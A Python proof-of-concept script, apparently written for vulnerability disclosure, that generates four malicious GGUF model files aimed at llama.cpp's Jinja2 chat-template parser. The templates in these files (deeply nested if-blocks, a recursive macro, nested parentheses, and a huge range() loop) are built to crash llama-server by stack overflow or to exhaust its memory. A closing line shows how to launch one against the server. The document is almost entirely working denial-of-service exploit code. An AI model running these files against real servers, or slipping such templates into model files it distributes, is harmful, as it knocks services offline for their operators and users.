File size: 4,143 Bytes
4214295
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
"""
PoC: Stack Overflow in Jinja2 Template Parser via Deeply Nested GGUF Chat Template

The llama.cpp Jinja2 template parser uses recursive descent with NO recursion
depth limit. A GGUF file with a deeply nested chat_template causes stack overflow
(SIGSEGV) when the model is loaded, crashing llama-server immediately.

CWE-674: Uncontrolled Recursion
"""

import struct
import sys

def create_gguf_with_template(filename, template_str):
    """Create a GGUF v3 file with a chat template in metadata"""

    data = b''

    # Header
    data += b'GGUF'                        # magic
    data += struct.pack('<I', 3)           # version 3
    data += struct.pack('<q', 0)           # n_tensors = 0
    data += struct.pack('<q', 2)           # n_kv = 2

    # KV 1: general.architecture (required for model loading)
    key1 = b'general.architecture'
    val1 = b'llama'
    data += struct.pack('<Q', len(key1)) + key1
    data += struct.pack('<i', 8)           # GGUF_TYPE_STRING
    data += struct.pack('<Q', len(val1)) + val1

    # KV 2: tokenizer.chat_template (the malicious template)
    key2 = b'tokenizer.chat_template'
    val2 = template_str.encode('utf-8')
    data += struct.pack('<Q', len(key2)) + key2
    data += struct.pack('<i', 8)           # GGUF_TYPE_STRING
    data += struct.pack('<Q', len(val2)) + val2

    with open(filename, 'wb') as f:
        f.write(data)

    print(f"[+] Created {filename} ({len(data)} bytes)")
    print(f"    Template size: {len(val2)} bytes")
    return filename


# === PoC 1: Parser Stack Overflow via deep if-nesting ===
# Crashes during model LOADING (template parsing)
def poc_parser_stack_overflow(depth=50000):
    """Deep {% if %}{% endif %} nesting exhausts parser stack"""
    template = "{% if true %}" * depth + "PAYLOAD" + "{% endif %}" * depth
    filename = "poc_parser_stackoverflow.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Nesting depth: {depth}")
    print(f"    Expected: SIGSEGV at parse time (model load)")
    return filename


# === PoC 2: Runtime Stack Overflow via recursive macro ===
# Crashes during first chat completion request
def poc_recursive_macro(depth=100000):
    """Recursive macro exhausts runtime stack"""
    template = (
        "{% macro bomb(n) %}"
        "{% if n > 0 %}{{ bomb(n-1) }}{% endif %}"
        "{% endmacro %}"
        f"{{% for message in messages %}}"
        f"{{{{ bomb({depth}) }}}}"
        "{% endfor %}"
    )
    filename = "poc_recursive_macro.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Recursion depth: {depth}")
    print(f"    Expected: SIGSEGV at render time (first chat request)")
    return filename


# === PoC 3: OOM via range() ===
# Causes OOM during first chat completion request
def poc_range_oom():
    """range() with huge argument causes OOM"""
    template = (
        "{% for message in messages %}"
        "{% for i in range(999999999) %}{{ i }}{% endfor %}"
        "{% endfor %}"
    )
    filename = "poc_range_oom.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Expected: OOM kill or hang at render time")
    return filename


# === PoC 4: Deep expression nesting ===
# Crashes parser with deeply nested expressions
def poc_expression_nesting(depth=50000):
    """Deeply nested expressions: (((((...))))) """
    template = "{{ " + "(" * depth + "1" + ")" * depth + " }}"
    filename = "poc_expr_nesting.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Expression depth: {depth}")
    print(f"    Expected: SIGSEGV at parse time")
    return filename


if __name__ == '__main__':
    print("=" * 60)
    print("Jinja2 Template Parser DoS PoC Generator")
    print("Target: ggml-org/llama.cpp")
    print("=" * 60)
    print()

    poc_parser_stack_overflow()
    print()
    poc_recursive_macro()
    print()
    poc_range_oom()
    print()
    poc_expression_nesting()

    print()
    print("=" * 60)
    print("Test with:")
    print("  llama-server -m poc_parser_stackoverflow.gguf")
    print("  # Expected: SIGSEGV (stack overflow in parser)")
    print("=" * 60)